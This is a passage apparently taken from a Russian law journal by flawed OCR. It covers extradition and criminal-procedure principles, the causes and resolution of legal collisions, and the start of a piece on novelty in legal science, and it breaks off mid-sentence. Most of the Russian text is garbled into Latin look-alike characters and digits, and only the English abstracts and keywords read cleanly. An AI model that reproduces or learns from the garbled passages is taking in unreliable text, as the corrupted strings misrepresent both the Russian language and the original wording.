MPAaBOMPUMEHHUTEIBHON JISITEIBHOCTHA, YTO TpeOyeT TOYHOW TPaBOBOM periiaMeHTalllu.
HenocTtatok HopMaTuBHOM 0a3bl, MPOTUBOPEUMS B MEKAYHAPOIHBIX COINIALIEHUAX W MPOOEbI
B OINpENENIEHUN CTaTyca Y4YaCTHUKOB YTOJIOBHOTO CYIONPOW3BOJICTBA HEPEAKO MPUBOIAT K
HapyIIEHUSM IIpaB YeI0BeKa U 3aTPyIHEHHSIM B 00eCIieYeHUH 3aKOHHOCTH.

Peanuzanust oTAEABHBIX NMPUHLUIIOB YTOJIOBHOIO CYAONPOWU3BOACTBA B paMKax Jed,
CBSI3aHHBIX C SKCTPAJULIMEH, TPeCTaBIseT cOO0OH OTHY U3 CIOXKHEHIIUX cdep OpUaAnYeCcKOn
HayKd W TPAKTUKH, XapaKTEPU3YIOLIYIOCS KaK MEXOTPAcleBbIM, TaK M MEXIyHApPOAHBIM
XapakTepoM. Bonpekn BHEIIHEHN 3aBEpIIEHHOCTH IPABOBOM perilaMEHTAalluN SKCTPAJULIMOHHOT O
uHctutyra B YIIK P®, yrnyOnéHHbIi aHamM3 CBUAETENBCTBYET O HEIOCTATOYHOM
NpOpa0OTAHHOCTH ~ OTJENBHBIX AaCHEKTOB, YTO CO3JaéT CephE3Hble 3aTpPy[HEHUS B
[IPaBONPUMEHUTEIBHOMN MPAKTHKE.

OCHOBHBIE NPUHIMITBI YTOJIOBHOTO CYJIOTIPOM3BOCTBA, 3aKpEIUIEHHbIE B CTaThix 6-19
VIIK PO, TpebyroT ajanTauuu K cneuuuke dKCTPAJAULIMOHHBIX JEJ, IOCKOJIbKY TakKHe Jiena
BKJIIOYAIOT NPUMEHEHHE HOPM HALMOHAIBHOIO M MEXIYHAapOJHOro mpasa. Tak, NpUHLINI
3akoHHOCTU (cT. 7 VYIIK P®), mpeanonararoumii CTpOryr0 perjiaMeHTaluI0 BCEeX JEHCTBUI
YYaCTHUKOB IIPOLIECCA, CTAIKUBACTCS C HEAOCTAaTOYHOM YpEeryJMpOBaHHOCTBIO CTaTyca JIMLA, B
OTHOIIEHHH KOTOPOTO BO30YXKIEHO SKCTPAAMIIIOHHOE NPOM3BOJACTBO. JlWma, mopamexamme
BbIJa4€, YacTO IIOJBEPraroTCs MeEpaM NPOLECCYaJIbHOIO IPUHYXIEHUs, HE Bceraa
COOTBETCTBYIOIIIUM KOHCTUTYLIMOHHBIM I'apaHTHUsIM IIPaB YEJIOBEKA.

Oco0yt0 CI0KHOCTh BBI3BIBACT ONpE/ENeHHE MPOLECCYaIbHOr0 CTaryca JIMIA,
MOJUIEKAIIETO KCTpauIMy. B paMkax AeicTBYIOIIETO 3aKOHOAATENLCTBA OTCYTCTBYET YETKAs
KJIaccu(UKaIMs TAKMX YYaCTHUKOB IPOLIECCA, YTO MPUBOAUT K PA3MBIBAHHIO MTPABOBBIX IPAHHIL
MEXy 0A03pEBaeMbIMU, OOBUHAEMBIMU U BbIJABAEMBIMHU JIMLIAMU. DTO BICUET 3a COOON pUCKU
HapylieHus npe3ymnuuu HeBuHoBHOCTH (cT. 14 VYIIK P®). Hampumep, ucnonb3zoBaHue
TepMHUHa "BblJjaya MPECTYIMHUKA'" POTUBOPEUUT CaMON CYTH 3TOTO MPHUHIUIA, TOCKOJIBKY JIUIIO
CUMTACTCS HEBMHOBHBIM JO TEX IOp, MOKAa €ro BMHA He OyAeT JOKa3aHa BCTYNUBILUM B
3aKOHHYIO CHJTy TIpUTroBOpoM cyna [1].

Pazymeercs, 0OBUHAEMBII B XOJ€ MPOU3BOJICTBA IO YIOJIOBHOMY JIENy HYXJAETCs B
3amMTe cBoUX Mpas. Ho BO3MOKHBI Cilydau, U 3aKOHOJATENb UX IIPEyCMaTpUBAET, KOT1a IOCIIE
BCTYILICHUSI [IPUTOBOPA B 3aKOHHYIO CHILY, OCYXJICHHBIA OTOBIBAIOIIMI HaKa3aHHEe, BCTYIAET B
YTOJIOBHO-TIPOLIECCYaIbHBIE OTHOLIEHUSI, CBSI3aHHBIE C O0XajlOBaHUEM OOBHHMTEIILHOIO
IIPUTOBOpA B KaCCAllMOHHOM HopsiIke [4].

Hanapiii  mpoOen  ycyryoisieTcss MpaBOBOM — HEONPEACIEHHOCTHIO  TOJOKCHUM
MEXIYHapOIHBIX JOIOBOPOB, PETYIUPYIOIIMX 3KcTpaguuuioo. K mpumepy, H0roBop Mexay
Poccueit u Ilonbleld JomycKaeT apecT JIMIA Ha OCHOBAaHWMHU IOJIO3PEHHUSI B COBEPIICHUH
NpecTyIuieHus 0e3 YETKOro IpOIECCyallbHOTO CTaTyca, YTO MOXKET OBITh pPACIEHEHO Kak
HapyIIeHHe HEMPUKOCHOBEHHOCTH JTMYHOCTH (cT. 10 YIIK PD).

BaxkHpIM acmekToM TakMX Jen  SBJSIETCS [IPUMEHEHHE MeEp IPOLECCYabHOIO
NPUHYKICHUS, BKIIOYAs 3aJepKaHue U 3aKIIOYEHUE II0J CTPaxy. 3aKOHOIATEIILCTBO
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ycTaHaBiIuBaeT o0mmme ocHoBanus 3aaepkanus (ct. 91 YIIK P®D), Ho He yunuThIBaeT crienupuky
SKCTpaauiuu. Hanpumep, TUIo MoKeT OBbITh 3aj7iepikaHo 0e3 OCHOBaHMIA, MPEAyCMOTPEHHBIX
HAIIMOHAJILHBIM YTOJIOBHBIM 3aKOHOJATEIbCTBOM, UYTO BBI3bIBAET COMHEHUSI B 00OOCHOBAaHHOCTHU
TakuX Mep. Takke OCTaroTCs HEPEeHIEHHBIMU BOIPOCHI O MpOLEcCyalbHON (GopMme perieHuit
MIPOKYpOpa, CyObEKTaX, YHOJIHOMOYEHHBIX XOAAaTaliCTBOBATh MEpes CyJIOM O MPUMEHEHUU MEp
NpeceyeHust, 1 MEXaHu3Max KOHTPOJIS 3a COOJIIOACHHEM NIPAB TAKUX JIULL.

Tak, B 4. 1 cr. 22 Koncrurynuu Poccuiickoit @enepann 3aKperuieHo, YTO KaKIblil
MMEeT TpaBO Ha CBOOOJY M JIMYHYIO HENPUKOCHOBEHHOCTh. HeoO0XOIMMO yperyaupoBaThb
BOIPOC BO3JIOKEHHUSI KOHTPOJIS 32 JIaHHOM KaTeropueu JUI Ha MEXIOCYJapCTBEHHOM YpPOBHE
[5].

[TpoOrnemMsbl ycyryOmsitoTes B CiTydasiX OTCYTCTBHS PEUICHUI HHOCTPAHHBIX CYJIOB O Mepe
npecedeHus. Ha mpakThke MPOKYpOp BBIHYKAEH CaMOCTOSTENIHHO OOpamarbcsi B CyI, 4TO
co31aét npotuBopeune ¢ nonoxeHussMu ct. 466 YIIK P®. Kpome toro, octaércsi HesiCHbIM, KTO
JIOJDKEH COCTABIISITH TPOTOKOJ 3aepPKaHUsl — MPOKYPOP WIIM OPTaHbl JO3HAHUS, YTO BBI3BIBACT
HEOIPABJAHHOE PACHIUPHUTEIBHOE TOJIKOBAHUE HOPM.

[lpaBo Ha WCIOIB30BAHWE POIHOTO $S3bIKA M YCIYTM TEPEBOTYMKA IPHOOpETaeT
NIEpBOCTENICHHOE  3HAa4eHHe B  paMKax  oOecreueHHss  CIPaBeIIMBOTO  YrOJOBHOTO
cynonpousBozctBa [2]. Ilonoxenust cr. 18 VIIK P® u mMexayHaponHBIX akTOB, TaKMX Kak
KoHBeHIMS O 3amiuTe MpaB YEOBEKa M OCHOBHBIX CBOOOJ, OOS3BIBAIOT TOCYJapCTBEHHBIC
OpraHbl TPEJOCTABIATh JOCTYIl K TIEPEBOJYMKY, OCOOCHHO TpPH OOBSICHEHHHM OCHOBAaHHM
NPUMEHEHUsT Mep NpHuHYXJIeHus. OIHAKO OTCYTCTBME MEXaHM3MOB (PMHAHCUPOBAHUS YCIYT
MIEPEBOTYMKOB B XOJIE€ SKCTPAIUIINU TIPUBOUT K 3aTATHBAHHIO TpOllEcCa W HAPYIICHHUIO TIPAB
YYaCTHUKOB.

Emé oanoil akTyanbHON MpoOsieMol SIBJISETCSl HEOPEIEIEHHOCTh CPOKOB COJIEpIKAHUS
MOJI CTPaXKeW JIUII, MOJUICKAIIMX BblAade. 3aKOHOMATEIbCTBO HE YCTAHABIMBACT NPEIEIbHBIX
CPOKOB M MEXaHH3MOB WX TMpOJUICHHs, YTO CO3MaT PHCKM HApYIICHHWsS Pa3yMHOTO CpOKa
cynonpousBoactBa (ct. 6.1 YIIK P®). D10 0COOEHHO KPUTHYHO B CIydasx OTKasa B
AKCTPaUIIH, KOT/Ia IJIUTENBHOE COAEepIKaHue TO0J] CTpa)kel HapylIaeT mpaBa YeJIOBeKa.

Jns yetpaHeHust BBISIBJICHHBIX MPOOJIeM Mpe iiaraeTcs:

1. Bnectn m3menenus B ctT. 91 VIIK PO, nonogHUTENBHO yKa3aB OCHOBAHUS JUISt
3aiep KaHus JIUII, TIO/JIC)KAIINUX BhIIave.

2. Yrtounuth monoxkeHus cT. 466 VIIK P®, pasrpaHHYMB TMOIHOMOUUS
IPOKYpPOPOB M OPraHOB JO3HAHUS MIPU IPUMEHEHUH Mep MPUHYKICHHUS.

3.  3akpenuTh MpolECCYyalbHbI CTaTyc BBIJABAEMOrO JIMI[A B KauecTBe
OT/IENIbHOTO YYaCTHHKA YrOJIOBHOTO CY/IOTIPOM3BOCTBA.

4. YCTaHOBUTH TpelieNbHbIE CPOKU COJAEP)KaHMs TIOJ CTpaked B paMKax
9KCTPAIULIUOHHBIX MPOLETYD.

5.  Pazpaborate MexaHW3MBl ()MHAHCHUPOBAHHUSI YCIYr TEPEBOTYMKOB U
HOPMaTHBHO YPEryJIHUpOBaTh NOPSIOK MX MPHUBICUECHHS.

Takum 00pa3zom, perreHrne 0003HAYEHHBIX MPOOJIeM TpeOyeT KOMILIEKCHOTO TOIX0/1a,
BKJIFOYAIOILIETO COBEPLICHCTBOBAHME KaK HOPM HALMOHAJIBHOI'O YTOJIOBHO-TIPOLIECCYAILHOIO
3aKOHOJAATENIbCTBA, TaK M MEXKAYHAPOIHBIX COIJIAIICHUHA. OTO TO3BOJIUT TOBBICUTH
3hGEKTUBHOCTh  OKCTPAIWIMKA W OOECNEUUTh COOJIOACHWE MPHHIUIIOB  YTOJIOBHOTO
CYAOMPOU3BOCTBA B paMKaX YKpEIJICHUsI MEKIYHAPOIHOTO COTPYIHHYECTBA.

AHanu3 0cOOEHHOCTEH peann3alii yroJOBHO-TIPOIECCYAbHBIX MPUHIIWIOB B JEJax,
CBSI3aHHBIX C OKCTpPaIWIMEN, TOKa3bIBAaeT, 4YTO HEJOCTATKA IPABOBOIO PETYIHMPOBAHUS
NPEnATCTBYIOT 3PPEeKTUBHOMY (DYHKIIMOHUPOBAHHIO ATOTO MHCTUTYTA. YS3BUMOCTH MPOLIEAYP
SKCTPAUIUK BhIpaXkaeTcs B MpoOJieMax ONpesesieHUs] MPaBOBOTO CTaTyca BbIAABAEMBIX JIMII,
o0ecrieueHMM WX TMpaBa Ha 3alUTy M pPa3syMHBIE CPOKH COACpXaHUs TOJ cTpaxkei [3].
Pa3paboranHble peKOMEHIAIMK 10 COBEPIIEHCTBOBAHUIO 3aKOHOMATENLCTBA HAIPABICHBI Ha
yCTpaHEHHE MPOOEIOB M CO3aHHE MPABOBBIX MEXaHW3MOB, COOTBETCTBYIOIINX COBPEMEHHBIM
MEXIYHApOAHBIM CTaHAAPTaM. ITO TO3BOJIUT MOBBICUTH A(PPEKTUBHOCTH B3aUMOJCHCTBUS
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rocyapcTB B 00pb0O€ € MPECTYIMHOCTHIO, OJHOBPEMEHHO oOecreunBas COOJIOACHHUE TpaB U
CBOOO TMYHOCTH.
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AHHOTAIIMA

B cratbe paccmaTpuBarOTCs TPUYMHBI BO3HMKHOBEHHS U CIIOCOOBI TPEOJOJICHUS
IOPUIMYECKUX KOJUTM3MM C TIO3MIIMUA TMO3UTUBUCTCKOrO mpaBomoHuManus. lccnenoBanme
OCHOBBIBAETCSl HA aHAJIM3€ JIETUCTCKOTO U COLMOJIOIMYECKOr0 HAIPABIECHUN MO3UTUBUCTCKOMN
IIIKOJTBI TIPaBa. BeineneHpl 00heKTUBHBIC U CYOBEKTUBHBIC (DAKTOPHI BOSHUKHOBEHUS KOJUTA3HH,
a TaKkKe PaCCMOTPEHBI OCHOBHBIE METOJIbI X pa3pelieHus. AKIIEHT c/IeJlaH Ha He0OXOAUMOCTH
codeTaHuss (HOPMATEHO-IOPHIUYECKOTO aHallM3a C YYeTOM COLMAIBHBIX (DAaKTOpOB, dUTO
MO3BOJISIET TMOBBICUTh YCTOMYMBOCTH IPABOBOM CHCTEMBL. ABTOpP OTMEYaeT 3HAYMMOCTh
MEXIUCIUIUIMHAPHOTO  TOAXOJa I pa3pelieHus] OPUAMYECKUX TMPOTUBOPEUUN U
COBEpILIEHCTBOBAHMSI [IPABOBOT'O PETYIUPOBAHMSL.

KiioueBble ¢j10Ba: KOJUIM3UH, TO3UTUBUCTCKOE TIPABONIOHMMAHUE, JISTUCTCKUAN TTOJIXO/I,
COIIMOJIOTMYECKHUI TIOAXO]I, IPUYMHBI KOJUTH3HIA, CIOCOOBI MIPEOI0JICHHS, IPABOBasi TEXHUKA.

Abstract

The article examines the causes of occurrence and ways of overcoming legal collisions
from the position of positivist legal understanding. The study is based on the analysis of the
legalistic and sociological directions of the positivist school of law. Objective and subjective
factors of occurrence of collisions are identified, and the main methods of their resolution are
considered. The emphasis is placed on the need to combine formal-legal analysis with
consideration of social factors, which allows to increase the stability of the legal system. The
author notes the importance of an interdisciplinary approach for resolving legal contradictions
and improving legal regulation.

Keywords: collisions, positivist legal understanding, legalistic approach, sociological
approach, causes of collisions, ways of overcoming, legal technique.

HccnenoBanue npoOieM BO3HUKHOBEHHUS U IPEOJIOJIEHMS FOPUANYECKUX KOJUIM3HUN
SIBJISIETCS. UPE3BbIYANHO AKTYaJIbHBIM BBy YCJIOXKHEHUS IPABOBOM CHUCTEMBI, BBI3BAHHOIO KaK
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pocToM 00bEMa HOPMATHBHOIO MaTepualia, TaK U YCKOPSIIOIIMMCS pa3BUTHEM OOILIECTBEHHbBIX
otHomieHnid. CoBpeMeHHasi MOpUAMYECKas IMPaKTUKa TpeOyeT OT HayKH MPeIOCTABICHUS
3G GEKTUBHBIX MHCTPYMEHTOB JUISl pelleHUs] KOHGIMKTOB MEXAYy NPaBOBBIMH HOPMaMH, 4YTO
0COOEHHO Ba)XKHO B YCIIOBHSX YacCTOrO OOHOBJIEHHUS 3aKOHONATENLCTBA U JUBEpPCH(PUKAIIIU
MIPABOBOTO PETYIMPOBAHMA. YTIYOIEHHBIN aHaIW3 MPUYMH KOJUIM3WH, a TakkKe pa3paboTka
CHOCOOOB MX YCTpaHEHUs HEOOXOAUMBI sl OOECTeYEeHHUS MPABOMOPSAIKA U CTAOMIBHOCTH
MpaBOBOM cHUCTeMbl. [IO3UTUBUCTCKMN TONXOJ K TMpaBy MPENOCTaBIseT Oa3uc s
CHCTEMaTH3allMM 3HAHUH, ONHMpasch Kak Ha (OpMaIbHO-IOPUIMYECKUN aHalM3, TaK W Ha
AMIUPUIECKYIO OICHKY [ 1] cormanbHbIX (haKTOpOB.

J1s1 paccMOTpeHMs BOIIpoca O MPUUMHAX BOSHUKHOBEHHUS M ITPEOI0JIEHUH IOPUINUECKUX
KOJUIM3UM C TO3UIMHM TO3UTUBHUCTCKOTO MPABOIIOHMMAHUS CIEAYET, IMPEXKIE BCErO,
MPOAHATIM3UPOBATh 0Aa30BbIC TOAXOMABI, XapaKTEpHBIC U MO3UTHBUCTCKOW FOPHCIIPYACHIIUH.
[To3uTBU3M Kak HampaBlICHUE B IOPUIUYECKONW HayKe OGOPMHICS B 3IOXY, HACBHIICHHYIO
HAyYHBIMUA OTKPBITUSMHU, KOTOPHIE OMUPATUCH HA IMIIUPUUECKUE METOIBI UCCIEAOBAHUSL. DTOT
MOJIXOJ] OPUEHTUPOBAH HA HU3YYEHUE HCKIFOUUTEIBHO TEX SIBJICHHUM, KOTOpBIE IOAJIAI0TCS
OIMCAHUIO, AaHAJIU3Y U JIOTUYECKOMY OOBSICHEHUIO.

B pamkax NO3MTHBHUCTCKOM IIKOJBI IMpaBa BBIACISIOT TPU OCHOBHBIE HAIPABIICHUSA:
JIETUCTCKOE, COLMOJIOTMYECKOE U Tcuxosorndeckoe. KoHuenus NOpUYMH BO3HUKHOBEHMS
KOJUTM3UH M METOAOB MX pa3pellieHus] aHaJU3UPYETCs NPEUMYILIECTBEHHO B KOHTEKCTE
JIETUCTCKOTO W COITMOJIOTHYECKOTO HarpaBiieHud. JlerucTckuii momxon OasupyeTcss Ha
MIPU3HAHUM TOCYapCTBa I1aBHBIM UCTOYHUKOM IIPaBa, a CaMoro MpaBa — UCKIIIOUUTEIBHO KaK
TEKCTyallbHOM cucTeMbl HOpM. MccnemyroTest nuinb (opMalibHBbIE aCMEKThl, BBIPAKEHHBIC B
FOPUIMYECKUX TEKCTAX, YTO UCKIIHOYAET THOCEOJIOTHYECKOE WM aKCHOJIOTMYECKOE OCMBICIICHHE
npaBa. COLMOJIOIMYECKUH NOJAXOJ, HAIPOTHUB, BOCIPUHMMAET MPaBO KaK JIMHAMHYECKOE
COLIMAJILHOE SIBIIEHUE, OMPEEIIIEMOE MTPOLIECCaMU COILIMATIBHON PETYIISIUN U TPAKTUKOM [2].

[TpyuYKHBI IOPUINYECKUX KOJUTU3UN: OObEKTUBHOE U CYObEKTUBHOE M3MEPEHUS

C TOukM 3peHHs TO3UTHUBU3MA, MPUYMHBI BO3SHUKHOBEHUS KOJUTU3UM NETSATCS Ha
OOBEKTUBHBIC U CYyObEKTHBHBIE.

K 00beKTHBHBIM MPUYUHAM OTHOCST:

1.  IIpoTuBOpEYHBOCTH 3aKOHOATENHCTBA

2. breicTpoe 0OHOBIIEHHE TIPABOBBIX HOPM.

3.  JluHamuueckoe W3MEHEHHE OOIIECTBEHHBIX OTHOIICHUN, PpEryIupyeMbIX

IPaBOM.
K cyObeKTUBHBIM PUUMHAM MPUHAITICKAT:

- [TpoGenbl 1 HECOTIACOBAaHHOCTH HOPMATHBHOTO MaTepHaa;
- [Homutryeckas 60pbOa U FOPUANIECKUN HUTHITU3M;
- OtcyTtcTBUE TPABOBOM KYJIBTYPHI Y 3aKOHOIATEIIEH.

Comuonoruyeckoe  HampaBleHHWE aKLUEHTUPYeT BHUMAaHHE Ha  OOIIECTBEHHBIX
OTHOIIIEHUSIX KaK TJIABHOM MCTOYHUKE BO3HMKHOBEHMS ITPABOBBIX NpPOTHBOpeunii. B sToM
KOHTEKCTE FOPUIMYECKHUE KOJUIM3MU PacCMaTpPUBAIOTCS KaK CIICACTBHE MU3MEHEHUN B COLUYME,
YTO 0COOEHHO 3aMETHO IPU IMHAMUKE COLIUAJIBHBIX ITPOLIECCOB.

Bompoc o crocobax ycTpaHeHUs! KOJUTH3HM MPEUMYIIECTBEHHO HCCIEAYeTCs B paMKax
JIETUCTCKOTO MOJX0/1a.

Ha npakTuke BBIIEISIOT CIEAYIOUINE TPUHLIMIIBI U METOBI:

1. OOuwe npuHIMIIBLI pa3perieHus KOJTH3HA:
- [Tpuoputer HOpM ¢ OoJIEe BHICOKOW FOPUIMUECKOM CUIION;
- [IpeoGnaganue crienaIbHBIX HOPM HaJl OOIIUMU;
- [IpumeHeHne HOpM, IPUHATHIX MO3KE.
2. MeTtonbl NpaBONPUMEHHUTEIBHON MPAKTUKY:
- CucremaTusalysi U TapMOHU3ALINS TPABOBBIX HOPM;
- TonkoBaHHE 3aKOHO/IATEIBbCTBA;
— Bnecenne n3meHeHn# B IEMCTBYIOIINE aKThlI.
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OTH MeXaHU3Mbl (YHKIMOHUPYIOT B paMKax IOpUANYECKON TEXHUKHU, HAIIPABJIEHHOMN Ha
ycTpaHeHHe (OpMalbHBIX NpOoTHBOpeunii. Hampumep, KONIM3HOHHBIE HOPMBI PETYIHUPYIOT
BBIOOp MEXAY HOPMAaTHUBHBIMM aKTaMH pa3HBIX YpPOBHEH, MO MPEeIMETHOMY WU
TEPPUTOPUATIBHOMY IIPU3HAKY.

AHanmu3 COBPEMEHHBIX HCCJEJOBAHWI  IMOKa3bIBAE€T, YTO JIETUCTCKUM  MOJIXO[
CTAJIKMBAETCSI C OIPAaHUYEHUSMHU B PEIIEHUM TEOPETUYECKUX BOIIPOCOB. ABTOPBI, TaKHE Kak
N.B. Cunuia, nogu€pkuBaroT HEOOXOIMMOCTb BKIIIOYEHHUS! COLIMOJIOTMYECKHX 3JIEMEHTOB B
u3y4yeHue NpUYnH KoJum3uil. Takol CHHTE3 MO3BOJSET y4ecTh KaKk (OPMAIBLHYIO CTPYKTYpPY
1paBa, TaK U KyJIbTYPHO-MCTOPUYECKUI KOHTEKCT, KOTOPBII JIEXKUT B OCHOBE OOIIECTBEHHBIX
oTHouleHnH. Hampumep, KylabTypHO-UCTOPUYECKUN MOAXOH, MPEUIOKEHHbI CHHUILEH,
MPEANOJIAaraeT HCCICIOBAHNAE IOPHIUYECKMX HOPM B paMKaX MX B3aUMOJCHUCTBUS C
HCTOPUYECKUMH U COLIUATIbHBIMU ITPOLIECCAMM.

AHanu3upyst cocoObl MPEeoJONIEeHs KOJUIN3UM, UCCleloBaTeN 0o0pallaloT BHUMaHKE
Ha HEOOXOAMMOCTh SKCIEPTU3bl HOPMATHBHBIX akTOB. HayuHas W mpaBoBas SKCIepTH3a,
NpOBOAMMAs /10 MPUHATUS 3aKOHA, CIOCOOHA CYIIECTBEHHO CHHM3UTh BEPOSITHOCTD
BO3HUKHOBEHMSI IIPABOBBIX MpOTUBOpeunii. OnHAKO TaHHBIA MEXaHU3M B HacTosdllee Bpems [3]
0CTaéTcsl HEAOCTATOUHO MPOPAOOTAHHBIM.

CoBpeMeHHasi IOpUAMYECKasl HayKa CTaJKHBaeTCs C NPOOJIEeMOil HemIoCTaTOUHOM
COIJIACOBAaHHOCTH MEXy (opMasbHOM CTPYKTYpO NMpaBOBON CHCTEMBbI U €€ MPAKTUYECKHM
MIPUMEHEHUEM B YCJIOBHSIX U3MEHSIOIIMXCS OOIIECTBEHHBIX peauil. CI0KHOCTD 3aKIII0YaeTCsl B
TOM, YTO TEKCTbl HOPMAaTHBHBIX AaKTOB YacTO HE YCIEBAIOT aJalTHPOBaTbCA K JUHAMUKE
OOILIECTBEHHBIX OTHOIICHHUH, YTO NMPUBOAMT K BO3HHUKHOBEHHUIO KOJUIM3HMK [4], KOrjga pasHble
IIPaBOBBIE HOPMBI IPOTUBOPEYAT APYT APYTY WIH CO3JAI0T HECHOCTH IPHU MX TOJIKOBAaHUM. JTa
npo0sieMa ycyryOssieTcsi HEeIOCTaTOYHOM KOOpAMHAIMEW MeXIy pa3IMYHbIMH YPOBHSAMU
[IPaBOTBOPYECTBA, a TAK)KE OTCYICTBUEM UETKMX MEXAHM3MOB JUI1 IPEJOTBPALICHUSA
MIPOTUBOPEUNI Ha CTaINU pa3pabOTKU 3aKOHOIPOEKTOB.

Pemenne naHHON mpoGieMbl TpeOyeT MepecMoTpa MOAXOA0B K IPAaBOTBOPUECTBY U
MpaBONpUMEHEHNI0. HeoO0XoauMo yCHINTh B3aMMOJICWUCTBHE HAyKH W TIPAKTUKH, YTOOBI
y4EHBIC-TIPAaBOBEbl MOIJIM IPEAOCTABIATh METOJOJOTMYECKylo 0a3zy Al 3aKoHoJaTelseil.
BBenenue o00s3aTenbHOM AKCHEPTH3bl HOPMATHBHBIX AaKTOB Ha BCEX JTamax MX CO3JaHus
CIOCOOHO CHU3HMTH BEPOSTHOCTh MOSBIEHUsS KoOUM3Ui. Kpome Toro, BakHO Y4HTHIBATh
KYJIbTYPHO-UCTOPUYECKHE U COLIMAIbHBIE (DaKTOPbI, KOTOPHIE BIUSIOT HA MPaBOBbIE OTHOILLICHHUS,
9YTOOBI HOPMBI ITPaBa ObUIH HE TOJIBKO (POPMAIBHO JIOTHYHBI, HO U COLIMAILHO MPUMEHHUMBI [5].

CoBpeMeHHbIE TOAXOAbl K IOPUIUYECKUM KOJUIM3HMSM  JIEMOHCTPUPYIOT, UTO
UCTOJIB30BaHUE HCKIIIOUUTEIBHO JIETUCTCKUX METOA0B HEIOCTaTOYHO JUIl KOMIUIEKCHOTO
peenus npodiemsl. [lpeogonenue opuanueckux NpoTuBopeunii TpedyeT riryOoKoro aHaimsa
COLMAJIbHBIX OTHOLIEHMH, YTO BO3MOJKHO B paMKaX COLMOJIOTMYECKOIO ITPABOIIOHUMAHUS.
ONHOBpPEMEHHO C JTHUM IOpUIMYECKass TEXHHKAa OCTaércsi BaXKHbBIM WHCTPYMEHTOM B
pasperieHu popManbHBIX MpoTHBOpeunii. Takum oOpa3oM, uccaeoBaHUEe KOJUTU3HMA B TpaBe
JOJKHO ONHUpaThCs HAa CHHTE3 JIETMCTCKOTO M COLMOJIOTMYECKOIO IMOJIXO/0B, YTO IO3BOJIUT
YUUTBIBaTh KaK (OpMalibHble aCMEKThl HOPMATUBHBIX AaKTOB, TaK M HX B3aUMOCBS3b C
COLIMAJIBHOM PEAIbHOCTHI0. Takol MEXIUCIMIUIMHAPHBIA MOJIXO0JT MOXET OTKPBITh HOBBIE
MIEPCTIEKTHUBHI B PEIICHUH MTPOOIEMBbI FOPUINIECKIX KOJUTU3UH.

[Ipobrema rOPUINYECKUX KOJUIM3HHM JOJKHA PACcCMAaTPUBATHCA C TO3UIMH CHHTE3a
JIETUCTCKOTO U COLIMOJIOTMYECKOI0 IOAXOJO0B, YTO IO3BOJSET YUYUTHIBATh KaK TEKCTYaJIbHYIO
CTPOrOCTh NPAaBOBBIX HOPM, TaK M MX CBfA3b C OOIIECTBEHHBIMU IpolieccaMu. Jlerumcrckoe
NpaBONOHUMAaHUE OCTa€rcsi (yHAAMEHTOM Ui W3ydeHUs (OpPMaIbHBIX AaCHEKTOB IpaBa U
METOZI0B Pa3peIlCHUs KOJUIM3UM, TAKMX KaK MPUMEHEHHE IPUHIMIIOB IOPUANYECKON TEXHUKH.
OnHako coBpeMeHHasl [IpaBoBasi HayKa BCE yallle aKLIEHTUPYET BHUMaHUE Ha COLMOJIOIMYECKOM
U3MEPEHUH, NTOTUEPKUBAsi AMHAMUUYECCKUI XapaKTep MpaBa KaK COLMAIBHOIO MHCTUTYTA. Takon
MEXIUCIMIUIMHAPHBIA TIOAXO0A OTKPHIBAET MEPCHEKTUBBI s Oosee TIyOOKOro MOHMMaHHMS
HPUPO/IbI FOPUIUUECKHUX ITPOTUBOPEUYMI U NOBBIIIEHUS 3(P(HEKTUBHOCTH UX MPEOAOJICHHUS.
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OTH BBIBOJIBI MOJUYEPKUBAIOT HEOOXOIUMOCTH JAbHEHUIIETO PAa3BUTUSI TEOPETHUECKUX
WCCIIEIOBAaHUH B 00JAcTH TMPABOBOWM KOJUIM3HOHOJOTHUH, YTO, B CBOKO OYE€pedb, IO3BOJUT
aJIaNTUPOBATh IPABOBYIO CUCTEMY K HOBBIM BBI30BaM U MOBBICUTH €€ YCTOMYHBOCTb.
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AHHOTAINA

B crathe paccMaTpuBarOTCsS KIIOUEBBIE aCMEKThl MPOOIEMbl HOBU3HBI B IOPUAMUECKON
HayKe, BKJIFOYas CIJIOKHOCTh Pa3pa0OTKA OPUTHHAIBHBIX IPABOBBIX KOHCTPYKIMA Ha (OHE
HCTOPUYECKON TpeeMCTBEHHOCTH U Triolamm3aiu. Oco0oe BHHMaHUE YOENSETCS pPOIU
TPaaUIMKA W CPABHUTEIHHOTO aHaiu3a B (OPMUPOBAHWHM HOBBIX KOHIIENTOB, CIIOCOOHBIX
aJICKBaTHO OTBEYaTh HAa BBI30BbI COBPEMEHHOCTU. ABTOP aKLIEHTUPYET BaXKHOCTh KPUTUYECKOTO
OCMBICJICHUSI HMCTOPHYECKOTO KOHTEKCTa M COLHUAILHOH OOYCIOBICHHOCTH WICH ISt
JOCTIDKCHHST HAyYHOM JOCTOBEPHOCTH U TEOpETHYeCKOW oOocHOBaHHOCTH. Pabora
MOMYEPKUBACT, YTO HOBATOPCTBO B IOPHUCTIPYICHIIMHM JODKHO OCHOBBIBATHCSI HA CHUHTE3E
MIPOIIOTO ONBITA U COBPEMEHHBIX HAYYHBIX MOJIXO/OB.

KiioueBble cioBa: ropuauyeckas HaykKa, HOBH3HA, MCTOPUYECKAs MPEEMCTBEHHOCTD,
MIPABOBEJICHHUE, TIPABOBBIC TPATULIUH.

Abstract

The article addresses key aspects of the novelty issue in legal science, emphasizing the
challenges of developing original legal constructs amidst historical continuity and globalization.
Special attention is given to the role of traditions and comparative analysis in shaping new
concepts capable of addressing modern challenges. The author highlights the importance of
critically understanding the historical context and social conditioning of ideas to achieve
scientific credibility and theoretical soundness. The work underscores that innovation in
jurisprudence must be based on a synthesis of historical experience and contemporary scientific
approaches.

Keywords: legal science, novelty, historical continuity, jurisprudence, legal traditions.

[IpoGnemMa moOMCKa HOBAaTOPCKUX TMOAXOAOB W OPUTMHAIBHBIX KOHIICMIHUH B
IOPUIMYECKOM HayKe OCTa€Tcsi OJHOM M3 LEHTPAIbHBIX, KaK B OTEYECTBEHHOM, TaKk U B
MEXIyHapOJIHOM HaydyHOM JucKkypce. CoBpeMeHHblEe HCCIEeIOBaHMS 4YacTo Oa3MpYIOTCS Ha
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UHTEpIpPETALUN YK€ CYLIECTBYIOIIUX WACH, 4TO CBUAETENILCTBYET O CIIOKHOCTH pa3pabOTKu
MPUHLIMIIMAIBHO HOBBIX MPABOBBIX KOHCTPYKIMI. B ycIoBHSX yCKOpSIOIIMXCS COLUAIIBHBIX,
MOJIUTHYECKUX W HIKOHOMHUYECKMX W3MEHEHHWH BO3HUKAET HEOOXOJMMOCTh B TIPABOBBIX
